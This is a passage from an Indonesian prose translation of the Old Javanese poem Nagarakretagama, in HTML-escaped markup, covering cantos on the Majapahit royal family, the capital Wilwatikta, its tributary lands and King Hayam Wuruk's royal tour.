menjelma bagai raja  besar terbukti selama bertahta, seluruh Jawa tunduk menadah perintah.  Wipra, ksatria, waisya, sudra, keempat kasta sempurna dalam pengabdian.  Durjana berhenti berbuat jahat, takut akan keberanian Sri Nata.&lt;br /&gt;&lt;strong&gt;Pupuh 2&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Sang Sri Rajapatni yang ternama adalah nenekanda Sri  Baginda. Seperti titisan Parama Bagawati memayungi jagat raya. Selaku  Wikuni tua tekun berlatih yoga menyembah Budha. Tahun Saka dresti  saptaruna (1272) kembali beliau ke Budhaloka.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Ketika Sri Rajapatni pulang ke Jinapada, dunia berkabung.  Kembali girang bersembah bakti semenjak Baginda mendaki tahta. Bagai  rani di Jiwana resmi mewakili Sri Narendra-putera.&lt;br /&gt;&lt;strong&gt;Pupuh 3&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Beliau bersembah bakti kepada ibunda Sri Rajapatni. Setia  mengikuti ajaran Budha, menyekar yang telah mangkat. Ayahanda Baginda  raja ialah Sri Kertawardana raja. Keduanya teguh beriman Budha demi  perdamaian praja.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Ayahnya Sri Baginda raja bersemayam di Singasari. Bagai  Ratnasambawa menambah kesejahteraan bersama. Teguh tawakal memajukan  kemakmuran rakyat dan Negara. Mahir mengemudikan perdata, bijak dalam  segala kerja.&lt;br /&gt;&lt;strong&gt;Pupuh 4&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Puteri Rajadewi Maharajasa, ternama rupawan. Bertahta di  Daha, cantik tak bertara, bersandar nam guna. Adalah bibi Baginda, adik  maharani di Jiwana. Rani Daha dan Rani Jiwana bagai bidadari kembar.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Laki sang rani Sri Wijayarajasa dari negeri Wengker. Rupawan  bagai titisan Upendra, masyhur bagai sarjana. Setara raja Singasari,  sama teguh di dalam agama. Sangat masyuhrlah nama beliau di seluruh  tanah Jawa.&lt;br /&gt;&lt;strong&gt;Pupuh 5&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Adinda Baginda raja di Wilwatikta. Puteri jelita, bersemayam  di Lasem. Puteri jelita Daha, cantik ternama. Indudewi puteri  Wijayarajasa.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dan lagi puteri bungsu Kertawardana. Bertahta di Pajang,  cantik tak bertara. Puteri Sri Narapati Jiwana yang termasyhur. Terkenal  sebagai adinda Sri Baginda.&lt;br /&gt;&lt;strong&gt;Pupuh 6&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Telah dinobatkan sebagai raja tepat menurut rencana. Laki  tangkas rani Lasem bagai raja daerah Matahun. Bergelar Rajasawardana  sangat bagus lagi putus dalam naya. Raja dan rani terpuji laksana Asmara  dengan Pinggala.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Sri Singawardana, rupawan, bagus, muda, sopan dan perwira.  Bergelar raja Paguhan, beliaulah suami rani Pajang. Mulia perkawinannya  laksana Sanatkumara dan Dewi Ida. Bakti kepada raja, cinta sesama,  membuat puas rakyat.&lt;br /&gt;3.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Bhre Lasem menurunkan puteri jelita Nagarawardani.  Bersemayam sebagai permaisuri pangeran di Wirabumi. Raja Pajang  menurunkan Bhre Mataram Sri Wikramawardhana. Bagai titisan Hyang Kumara,  wakil utama Sri Narendra.&lt;br /&gt;4.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Puteri bungsu rani Pajang memerintah daerah Pawanuhan.  Berjuluk Surawardani masih muda indah laksana gambar. Para raja Pulau  Jawa masing-masing mempunyai Negara. Dan Wilwatikta tempat mereka  bersama-sama menghamba Sri Nata.&lt;br /&gt;&lt;strong&gt;Pupuh 7&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Melambung kidung merdu pujian sang prabu, beliau membunuh  musuh-musuh. Bagai matahari menghembus kabut, menghimpun Negara di dalam  kuasa. Girang najma utama bagai bunga tunjung, musnah durjana kumuda.  Dari semua desa di wilayah Negara pajak mengalir bagai air.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Raja menghapus duka si murba sebagai Satamanyu menghujani  bumi. Menghukum penjahat bagai Dewa Yama, menimbun harta bagai Waruna.  Para telik menembus segala tempat laksana Hyang Bhatara Bayu. Menjaga  pura sebagai Dewi Pertiwi, rupanya bagus seperti bulan.&lt;br /&gt;3.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Seolah-olah Sang Hyang Kama menjelma, tertarik oleh  keindahan pura. Semua para puteri dan isteri sibiran dahi Sri Ratih.  Namun sang permaisuri keturunan Wijayarajasa, tetap paling cantik.  Paling jelita bagaikan Susumna, memang pantas jadi imbangan baginda.&lt;br /&gt;4.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Berputeralah beliau puteri mahkota Kusumawardhani, sangat  cantik. Sangat rupawan jelita mata, lengkung lampai, bersemayam di  Kabalan. Sang menantu Sri Wikramawardana memegang perdata seluruh  Negara. Sebagai dewa-dewi mereka bertemu tangan, menggirangkan pandang.&lt;br /&gt;&lt;strong&gt;Pupuh 8&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Tersebut keajaiban kota: tembok bata merah, tebal tinggi,  mengitari pura. Pintu barat bernama Pura Waktra, menghadap ke lapangan  luas, bersabuk parit. Pohon brahmastana berkaki bodi, berjajar panjang,  rapi berbentuk aneka ragam. Di situlah tempat tunggu para tanda terus  menerus meronda jaga paseban.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Di sebelah utara, bertegak gapura permai dengan pintu besi  penuh berukir. Di sebelah timur, panggung luhur, lantainya berlapis  batu, putih-putih mengkilat. Di bagian utara, disebelah pecan, rumah  berjejal jauh memanjang sangat indah. Di selatan jalan perempatan, balai  prajurit tempat pertemuan tiap caitra.&lt;br /&gt;3.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Balai agung Manguntur dengan balai Witana di tengah  menghadap padang watangan. Yang meluas ke empat arah: bagian utara,  paseban pujangga dan menteri. Bagian timur, paseban pendeta Siwa-Budha,  yang bertugas membahas upacara. Pada masa gerhana bulan Palguna demi  keselamatan seluruh dunia.&lt;br /&gt;4.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Di sebelah timur, pahoman berkelompok tiga-tiga mengitari  kuil siwa. Di selatan, tempat tinggal wipra utama, tinggi bertingkat  menghadap panggung korban. Bertegak di halaman sebelah barat; di utara,  tempat Budha bersusun tiga. Puncaknya penuh berukir; berhamburan bunga  waktu raja turun berkorban.&lt;br /&gt;5.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Di dalam, sebelah selatan Manguntur tersekat dengan pintu,  itulah paseban. Rumah bagus berjajar mengapit jalan ke barat, di sela  tanjung berbunga lebat. Agak jauh di sebelah barat daya: panggung tempat  berkeliaran para perwira. Tepat ditengah-tengah halaman, bertegak  mandapa penuh burung ramai berkicau.&lt;br /&gt;6.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Di dalam, di selatan ada lagi paseban memanjang ke pintu  keluar pura yang kedua. Dibuat bertingkat-tangga, tersekat-sekat,  masing-masing berpintu sendiri. Semua balai bertulang kuat bertiang  kokoh, papan rusuknya tiada tercela. Para prajurit silih berganti,  bergilir menjaga pintu, sambil bertukar tutur.&lt;br /&gt;&lt;strong&gt;Pupuh 9&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Inilah para penghadap: pengalasan Ngaran, jumlahnya tak  terbilang. Nyu Gading Janggala-Kediri, Panglarang, Rajadewi, tanpa upama  Waisangka Kapanewon Sinelir, para perwira Jayengprang Jayagung. Dan  utusan Pareyok Kayu Apu, orang Gajahan, dan banyak lagi.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Begini keindahan lapang watangan luas bagaikan tak terbatas.  Menteri, bangsawan, pembantu raja di Jawa, di deret paling muka.  Bhayangkari tingkat tinggi berjejal menyusul di deret yang kedua.&lt;br /&gt;3.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Di bagian barat, beberapa balai memanjang sampai mercudesa.  Penuh sesak pegawai dan pembantu serta para perwira penjaga. Di bagian  selatan agak jauh, beberapa ruang, mandapa dan balai. Tempat tinggal  abdi Sri Narapati Paguhan, bertugas menghadap.&lt;br /&gt;4.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Masuk pintu kedua, terbentang halaman istana berseri-seri.  Rata dan luas, dengan rumah indah berisi kursi-kursi berhias. Di sebelah  timur, menjulang rumah tinggi berhias lambing kerajaan. Itulah balai  tempat terima tatamu Sri Nata di Wilwatikta.&lt;br /&gt;&lt;strong&gt;Pupuh 10&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Inilah pembesar yang sering menghadap dibalai Witana. Wreda  menteri, tanda menteri pasangguhan dengan pengiring Sang Panca  Wilwatikta: mapatih, demung, kanaruhan, rangga, tumenggung, lima priyayi  agung yang akrab dengan istana.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Semua patih, demung Negara bawahan dan pengalasan. Semua  pembesar daerah yang berhati tetap dan teguh. Jika datang, berkumpul di  kepatihan seluruh Negara. Lima menteri utama, yang mengawal urusan  Negara.&lt;br /&gt;3.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Ksatria, pendeta, pujangga, para wipra, jika menghadap.  Berdiri di bawah lindungan asoka di sisi Witana. Begitu juga dua  dharmadyaksa dan tujuh pembantunya. Bergelar arya, tangkas tingkahnya,  pantas menjadi teladan.&lt;br /&gt;&lt;strong&gt;Pupuh 11&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Itulah penghadap balai Witana, tempat tahta, yang berhias  serba bergas. Pantangan masuk ke dalam istana timur, agak jauh dari  pintu pertama. Ke istana Selatan, tempat Singawardhana, permaisuri putra  dan putrinya. Ke istana utara, tempat Kertawardana. Ketiganya bagai  kahyangan.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Semua rumah bertiang kuat, berukir indah, dibuat  berwarna-warni. Kainya dari bata merah pating berunjul, bergambar aneka  lukisan. Genting atapnya bersemarak serba meresapkan pandang, menarik  perhatian. Bunga tanjung, kesara, campaka, dan lain-lainnya terpencar di  halaman.&lt;br /&gt;&lt;strong&gt;Pupuh 12&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Teratur rapi semua perumahan sepanjang tepi benteng. Timur  tempat tinggal pemuka pendeta Siwa Hyang Brahmaraja. Selatan  Budha-sangga dengan Rangkanadi sebagai pemuka. Barat tempat para arya,  menteri dan sanak kadang adiraja.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Di timur, tersekat lapangan, menjulang istana ajaib. Raja  Wengker dan rani Daha penaka Indra dan Dewi Saci. Berdekatan dengan  istana raja Matahun dan rani Lasem. Tak jauh di sebelah selatan raja  Wilwatikta.&lt;br /&gt;3.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Di sebelah utara pasar: rumah besar bagus lagi tinggi. Di  situ menetap patih Daha, adinda baginda di Wengker. Bhatara Narapati,  termasyhur sebagai tulang punggung praja. Cinta taat kepada raja,  perwira, sangat tangkas dan bijak.&lt;br /&gt;4.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Di timur laut, rumah patih Wilwatikta, bernama Gajah Mada.  Menteri wira, bijaksana, serta bakti kepada Negara. Fasih bicara, teguh  tangkas, tenang cerdas, cerdik lagi jujur. Tangan kanan maharaja sebagai  penggerak roda Negara.&lt;br /&gt;5.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Sebelah selatan puri, gedung kejaksaan tinggi bagus. Sebelah  timur perumahan Siwa, sebelah barat Budha. Terlangkahi rumah para  menteri, para arya dan ksatria. Perbedaan ragam pelbagai rumah menambah  indahnya pura.&lt;br /&gt;6.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Semua rumah memancarkan sinar warnanya gilang-cemerlang.  Menandingi bulan dan matahari, indah tanpa umpama. Negara-negara di  Nusantara dengan Daha bagai pemuka. Tunduk menengadah, berlindung di  bawah kuasa Wilwatikta.&lt;br /&gt;&lt;strong&gt;Pupuh 13&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Terperinci pulau Negara bawahan, paling dulu M’layu, Jambi,  Palembang, Toba dan Darmasraya pun ikut juga disebut Daerah Kandis,  Kahwas, Minangkabau, Siak, Rokan, Kampar dan Pane.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Lwas dengan Samudra serta Lamuri, Batan, Lampung dan juga  Barus. Itulah terutama Negara-negara melayu yang telah tunduk.  Negara-negara di Pulau Tanjungnegara; Kapuas-Katingan, Sampit, Kota  Lingga, Kota Waringin, Sambas, Lawai ikut tersebut&lt;br /&gt;&lt;strong&gt;Pupuh 14&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;Kandandangan, Landa, Samadang dan Tirem tak terlupakan.  Sedu, Barune (ng), Kalka, Saludung, Solor dan juga Pasir. Barito,  Sawaku, Tabalung, ikut juga Tanjung Kutei. Malano tetap yang terpenting  di pulau Tanjungpura.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Di Hujung Medini Pahang yang disebut paling dahulu. Berikut  Langkasuka, Saimwang, Kelantan, serta Trengganu Johor, Paka, Muar,  Dungun, Tumasik, Kelang serta Kedah. Jerai, Kanjapiniran, semua sudah  lama terhimpun.&lt;br /&gt;3.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Disebelah timur Jawa, seperti yang berikut: Bali dengan  Negara yang penting Badahulu dan Lo Gajah, Gurun serta Sukun, Taliwang,  Pulau Sapi, dan Dompo, Sang Hyang Api, Bima, Seran, Hutan Kendali  sekaligus.&lt;br /&gt;4.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Pulau Gurun, yang juga biasa disebut Lombok Merah Dengan  daerah makmur Sasak diperintah seluruhnya. Bantalayan di wilayah  Bantayan beserta Kota Luwuk. Sampai Udamaktraya dan pulau lain-lainnya  tunduk.&lt;br /&gt;5.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Tersebut pula pulau-pulau Makasar, Buton, Bangawi Kunir,  Galian, serta Salayar, Sumba, Solot, Muar. Lagi pula, Wanda (n), Ambon  atau pulau Maluku, Wanin, Seran, Timor, dan beberapa lagi pulau-pulau  lain.&lt;br /&gt;&lt;strong&gt;Pupuh 15&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Inilah nama Negara asing yang mempunyai hubungan: Siam  dengan Ayudyapura, begitu pun Darmanagari Marutma, Rajapura, begitu juga  Singanagari. Campa, Kamboja, dan Yawana ialah Negara sahabat.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Tentang pulau Madura, tidak dipandang Negara asing. Karena  sejak dahulu dengan Jawa menjadi satu. Konon tahun Saka lautan menantang  bumi, itu saat Jawa dan Madura terpisah meskipun tidak sangat jauh.&lt;br /&gt;3.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Semenjak Nusantara menadah perintah Sri Baginda. Tiap musim  tertentu mempersembahkan pajak upeti. Terdorong keinginan akan menambah  kebahagiaan. Pujangga dan pegawai diperintah menarik upeti&lt;br /&gt;&lt;strong&gt;Pupuh 16&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Pujangga-pujangga yang lama berkunjung di Nusantara dilarang  mengabaikan urusan Negara, mengejar untung. Seyogianya, jika mengemban  perintah ke mana juga menegakkan agama Siwa, menolak ajaran sesat.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Konon, kabarnya, para pendeta penganut Sang Sugata dalam  perjalanan mengemban perintah Baginda Nata, dilarang menginjak tanah  sebelah barat Pulau Jawa. Karena penghuninya bukan penganut ajaran Budha&lt;br /&gt;3.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Tanah sebelah timur Jawa terutama Gurun, Bali boleh  dijelajah tanpa ada yang dikecualikan. Bahkan, menurut kabaran mahamuni  Empu Barada Serta raja pendeta Kuturan telah bersumpah teguh&lt;br /&gt;4.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Para pendeta yang mendapat perintah untuk bekerja. Dikirim  ke timur ke barat; dimana mereka sempat melakukan persajian seperti  perintah Sri Nata. Resap terpandang mata jika mereka sedang mengajar&lt;br /&gt;5.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Semua Negara yang tunduk setia menganut perintah dijaga dan  dilindungi Sri Nata dari Pulau Jawa. Tapi, yang membangkang, melanggar  perintah, dibinasakan. Pimpinan angkatan laut, yang telah masyhur lagi  berjasa&lt;br /&gt;&lt;strong&gt;Pupuh 17&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Telah tegak teguh kuasa Sri Nata di Jawa dan wilayah  Nusantara Di Sripalatikta tempat beliau bersemayam, menggerakkan roda  dunia. Tersebar luas nama beliau, semua penduduk puas, girang dan lega.  Wipra, pujangga dan semua penguasa ikut menumpang menjadi masyhur&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Sungguh besar kuasa dan jasa beliau, raja agung dan raja  utama. Lepas dari segala duka, mengenyam hidup penuh segala kenikmatan.  Terpilih semua gadis manis di seluruh wilayah Janggala Kediri. Berkumpul  di istana bersama yang terampas dari Negara tetangga.&lt;br /&gt;3.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Segenap tanah Jawa bagaikan satu kota di bawah kuasa  Baginda. Ribuan orang berkunjung laksana bilangan tentara yang mengepung  pura. Semua pulau laksana daerah pedusunan tempat menimbun bahan  makanan. Gunung dan rimba hutan penaka taman hiburan terlintas tak  berbahaya.&lt;br /&gt;4.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Tiap bulan sehabis musim hujan beliau biasa pesiar keliling  Desa Sima di sebelah selatan Jalagiri, di sebelah timur pura. Ramai tak  ada hentinya selama pertemuan dan upacara prasetyan. Girang melancong  mengunjungi Wewe Pikatan setempat dengan candi lima.&lt;br /&gt;5.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Atau pergilah beliau bersembah bakti kehadapan Hyang  Acalapati. Biasanya terus menuju Blitar, Jinur, mengunjungi  gunung-gunung permai. Di Daha terutama ke Polaman, ke Kuwu, dan Lingga  hingga Desa Bangin. Jika sampai di Jenggala, singgah di Surabaya, terus  menuju Buwun.&lt;br /&gt;6.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Tahun Aksatisura (1275), Sang Prabu menuju Pajang membawa  banyak pengiring. Tahun Saka angga-naga-aryama (1276), ke Lasem,  melintasi pantai samudra. Tahun Saka pintu-gunung-mendengar-indu (1279),  ke laut selatan menembus hutan. Lega menikmati pemandangan alam indah  Lodaya, Tetu, dan Sideman.&lt;br /&gt;7.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Tahun Saka seekor-naga-menelan bulan (1281), di Badrapada  bulan tambah. Sri Nata pesiar keliling seluruh Negara menuju Kota  Lumajang. Naik kereta diiringi semua raja Jawa serta permaisuri dan abdi  Menteri, tanda, pendeta, pujangga, semua para pembesar ikut serta.&lt;br /&gt;8.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Juga yang menyamar Prapanca girang turut serta mengiring  paduka Maharaja. Tak tersangkal girang sang kawi, putera pujangga, juga  pencinta kakawin. Dipilih Sri Baginda sebagai pembesar kebudhaan  mengganti sang ayah. Semua pendeta Budha umerak membicarakan tingkah  lakunya dulu&lt;br /&gt;9.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Tingkah sang kawi waktu muda menghadap raja, berkata  berdampingan, tak lain maksudnya mengambil hati, agar disuruh ikut  beliau ke mana juga. Namun, belum mampu menikmati alam, membinanya,  mengolah, dan menggubah karya kakawin; begitu warna desa sepanjang marga  terkarang berturut.&lt;br /&gt;10.&amp;nbsp;&amp;nbsp;&amp;nbsp; Mula-mula melalui Japan dengan asrama dan candi-candi ruk  rebah. Sebelah timur Tebu, hutan Pandawa, Duluwang, Bebala di dekat  Kanci. Ratnapangkaja serta Kuti Haji Pangkala memanjang  bersambung-sambungan. Mandala Panjrak, Pongging serta Jingan, Kuwu  Hanyar letaknya di tepi jalan.&lt;br /&gt;11.&amp;nbsp;&amp;nbsp;&amp;nbsp; Habis berkunjung pada candi makam Pancasara, menginap di  Kapulungan. Selanjutnya, sang kawi bermalam di Waru, di Hering, tidak  jauh dari pantai. Yang mengikuti ketetapan hukum jadi milik kepala  asrama Saraya tetapi masih tetap di tangan lain, rindu  termenung-menunggu.&lt;br /&gt;&lt;strong&gt;Pupuh 18&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Seberangkat Sri Nata dari Kapulungan, berdesak abdi berarak.  Sepanjang jalan penuh kereta, penumpangnya duduk berimpit-impitan.  Pedati di muka dan di belakang, di tengah prajurit berjalan kaki.  Berdesak-desakan, berebut jalan dengan binatang gajah dan kuda.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Tak terhingga jumlah kereta, tapi berbeda-beda tanda  cirinya. Meleret berkelompok-kelompok, karena tiap menteri lain  lambangnya. Rakrian sang menteri patih amangkubumi penatang kerajaan.  Keretanya beberapa ratus berkelompok dengan aneka tanda.&lt;br /&gt;3.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Segala kereta Sri Nata Pajang semua bergambar matahari.  Semua kereta Sri Nata Lasem bergambar cemerlang banteng putih. Kendaraan  Sri Nata Daha bergambar Dahakusuma emas mengkilat.&lt;br /&gt;&lt;strong&gt;Pupuh 19&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Paginya berangkat lagi menuju Baya, rehat tiga hari tiga  malam. Dari Baya melalui Katang, Kedung Dawa, Rame, Menuju Lampes,  Times. Serta biara pendeta di Pogara mengikuti jalan pasir lemak –  lembut. Menuju daerah Beringin Tiga di Dadap, kereta masih terus lari.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Tersebut dukuh Kasogatan Madakaripura dengan pemandangan  indah. Tanahnya anugerah Sri Baginda kepada Gadjah Mada, teratur indah.  Disitulah Baginda menempati pasanggrahan yang terhias sangat bergas.  Sementara mengunjungi mata air, dengan ramah melakukan mandibakti.&lt;br /&gt;&lt;strong&gt;Pupuh 20&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Sampai di desa Kasogatan, Baginda dijamu makan minum  Pelbagai penduduk Gapuk, Sada, Wisisaya, Isanabajra, Ganten, Poh,  Capahan, Kalampitan, Lambang, Kuran, Pancar We Petang. Yang letaknya di  lingkungan biara, semua datang menghadap.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Begitu pula Desa Tunggilis, Pabayeman ikut berkumpul  termasuk Ratnapangkaja di Carcan, berupa desa perdikan. Itulah empat  belas desa kasogatan yang ber-&lt;em&gt;akuwu&lt;/em&gt; Sejak dahulu, delapan saja yang menghasilkan bahan makanan.&lt;br /&gt;&lt;strong&gt;Pupuh 21&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Fajar menyingsing: berangkat lagi Baginda melalui Lo Pandak,  Ranu Kuning, Balerah, Bare-bare, Dawohan, Kapayeman, Telpak, Baremi,  Sapang, serta Kasaduran. Kereta berjalan cepat-cepat menuju Pawijungan.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Menuruni Lurah, melintasi sawah, lari menuju Jaladipa,  Talapika, Padali, Ambon dan Panggulan. Langsung ke Payaman, Tepasana ke  arah Kota Rembang. Sampai di kemirahan yang letakknya di pantai lautan.&lt;br /&gt;&lt;strong&gt;Pupuh 22&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Di Dampar dan Patunjungan, Sri Baginda bercengkrama menyisir  tepi lautan. Ke jurusan timur turut pesisir darat, lembut limbur di  lintas kereta. Berhenti beliau di tepi danau penuh teratai, tunjung  sedang berbunga. Asyik memandang udang berenang dalam air tenang  memperlihatkan dasarnya.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Terlangkahi keindahan air telaga yang lambai melambai dengan  lautan. Danau ditinggalkan menuju Wedi dan Guntur tersembunyi di tepi  jalan. Kasogatan Bajraka termasuk wilayah Taladwaja sejak dulu kala.  Seperti juga Patunjungan, akibat perang, belum kembali ke asrama.&lt;br /&gt;3.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Terlintas tempat tersebut, ke timur mengikuti hutan  sepanjang tepi lautan. Berhenti di Palumbon, berangkat setelah surya  laut. Menyeberangi sungai Rabutlawang yang kebetulan airnya sedang  surut. Menuruni lurah Balater menuju pantai lautan, lalu bermalam lagi.&lt;br /&gt;4.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Pada waktu fajar menyingsing, menuju Kunir Basini, di Sadeng  bermalam. Malam berganti malam Baginda pesiar menikmati alam Sarampuan.  Sepeninggalnya beliau menjelang Kota Bacok bersenang-senang di pantai.  Heran memandang karang 